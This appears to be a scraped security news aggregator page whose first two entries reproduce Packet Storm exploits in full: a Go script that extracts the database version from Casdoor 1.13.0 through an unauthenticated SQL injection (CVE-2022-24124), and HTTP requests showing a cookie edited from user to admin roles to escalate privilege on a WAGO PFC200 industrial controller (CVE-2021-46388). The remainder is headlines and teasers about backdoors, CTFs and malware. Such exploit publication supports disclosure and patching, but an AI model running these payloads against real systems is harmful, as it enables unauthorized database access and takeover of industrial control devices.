Exploit Collector
Casdoor 1.13.0 SQL Injection

https://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png
Casdoor version 1.13.0 suffers from a remote SQL injection vulnerability.

MD5 | 16e19334ce8fca7c8023e6e8c196fd9c

Download
// Exploit Title: Casdoor 1.13.0 SQL Injection (Unauthenticated)
// Date: 2022-02-25
// Exploit Author: Mayank Deshmukh
// Vendor Homepage: https://casdoor.org/
// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0
// Version: version < 1.13.1
// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r
// Tested on: Kali Linux
// CVE : CVE-2022-24124
// Github POC: https://github.com/ColdFusionX/CVE-2022-24124

// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080

package main

import (
"flag"
"fmt"
"html"
"io/ioutil"
"net/http"
"os"
"regexp"
"strings"
)

func main() {
var url string
flag.StringVar(&url, "u", "", "Casdoor URL (ex. http://127.0.0.1:8080)")
flag.Parse()

banner := `
-=Casdoor SQL Injection (CVE-2022-24124)=-
- by Mayank Deshmukh (ColdFusionX)

`
fmt.Printf(banner)
fmt.Println("[*] Dumping Database Version")
response, err := http.Get(url + "/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)")

if err != nil {
panic(err)
}

defer response.Body.Close()

databytes, err := ioutil.ReadAll(response.Body)

if err != nil {
panic(err)
}

content := string(databytes)

re := regexp.MustCompile("(?i)(XPATH syntax error.*')")

result := re.FindAllString(content, -1)

sqliop := fmt.Sprint(result)
replacer := strings.NewReplacer("[", "", "]", "", "'", "", ";", "")

finalop := replacer.Replace(sqliop)
fmt.Println(html.UnescapeString(finalop))
if result == nil {
fmt.Printf("Application not vulnerable\n")
os.Exit(1)
}

}

Source:packetstormsecurity.com

Exploit Collector
WAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation

https://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png
WAGO 750-8212 PFC200 G2 2ETH RS suffers from a privilege escalation vulnerability.

MD5 | 6466008b91f5fa677f2021a112398c39

Download
# Exploit Title: WAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation
# Date: 02/16/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy) at Cypro AB
# Vendor Homepage: https://www.wago.com
# Version: Firmware version 03.05.10(17)
# Tested on: PopOS! [Linux](Firefox)
# CVE : CVE-2021-46388

========================================
= The ordinary user privilege request:
========================================

GET /wbm/ HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.1.1/wbm/
Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22user%22%2C%22roles%22:[%22user%22%2C%22guest%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642368720673%2C%22sessionExists%22:true}

==========================================
= Manipulated Cookie to Admin Privilege:
==========================================

GET /wbm/ HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.1.1/wbm/
Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22admin%22%2C%22roles%22:[%22admin%22%2C%22admin%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642369499829%2C%22sessionExists%22:true}


Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
How to Boost Shift-Left Security in the SDLC

Organizations will see big wins from applying security controls early in the development life cycle.

Dark Reading: Attacks/Breaches
Companies Borrow Attack Technique to Watermark Machine Learning Models

Researchers continue to improve on a technique for embedded crafted outputs into machine-learning models, an anti-copying technique originally thought up by adversarial researchers.

Dark Reading: Attacks/Breaches
Researchers Warn of Stealthy Chinese Backdoor Targeting Multiple Foreign Agencies

A stealthy backdoor program used by China-linked threat actors has targeted government computers at multiple foreign agencies, allowing attackers to retain a presence on sensitive networks and exfiltrate data while remaining undetected.

hacking: security in practice
Could hacking organizations use people specialized in persuasion?

Hi there,

I always loved the world of hacking, but life took me in another direction. Now I work in advertising as a copywriter (persuasive writing), but I would still love to be part of this world. I was wondering if my knowledge could eventually be of use for an ethical hacking organization.

Since hacker a lot of times rely on social engineering, that kinda makes sense for me. However, I think it's best to hear the opinion of someone that already knows about this.

I also have some background in coding, but I don't think that's relevant in this case.

submitted by /u/MrVulpe
[link] [comments]

hacking: security in practice
Resource for different types of cyberattacks

Is there a resource you guys use for learning about different types of attacks? For example, I was trying to find what types of attacks are possible on an open network and couldn't find any great resources. Thanks! and sorry if this is a stupid question

submitted by /u/Nlbjj91011
[link] [comments]

hacking: security in practice
Conti group chat leaks

https://external-preview.redd.it/0E5jZOaMvVIGJ-VsM57tNQ9kxgSt3iYnxH1wirTo8ZM.jpg?width=640&crop=smart&auto=webp&s=f990a004f832d8a566bbbd8c357cb8d156e57cde submitted by /u/DrinkMoreCodeMore
[link] [comments]

Hacking on Medium
Stress testing websites with HTTP flood attack

https://cdn-images-1.medium.com/max/1250/1*-f1MQNv8yn1psL1S_bdmNA.png
Exploring a specific type of DDoS attacks — HTTP flood

Continue reading on Medium »

Hacking on Medium
Hacking the backdoor

https://cdn-images-1.medium.com/max/810/1*PQC_SpF1gsILdi6gyCKWyA.png
Hi guys, I’m back with a new blog and this it’s great for beginners like me, with this blog I’ll try to explain how I “hack” this machine…

Continue reading on Medium »

Hacking on Medium
TryHackMe — Boiler CTF — Writeup

https://cdn-images-1.medium.com/max/600/1*FWQmWkVY7A0xZgsE50B5MA.png
E vamos para mais um CTF.
Conforme definido pelo autor, este CTF é de nível intermediário.

Continue reading on Medium »

Hacking on Medium
16 deadliest Malwares of all time

https://cdn-images-1.medium.com/max/1920/0*9iPP7QV3Gwy7dpzd
The deadliest malware occurred throughout history

Continue reading on Medium »

Hacking on Medium
Knowledge of Malware

https://cdn-images-1.medium.com/max/2000/1*NLpPakxffwOe9XIVECq3pg.jpeg
Hello readers

Continue reading on Medium »

Hacking on Medium
CISA advierte sobre fallas de alta gravedad en el software SCADA de Schneider y GE Digital

https://cdn-images-1.medium.com/max/1600/0*VNUMGb4GaCcmnSis
PUBLICADO EN 28 FEBRERO, 2022POR EHACKING

Continue reading on Medium »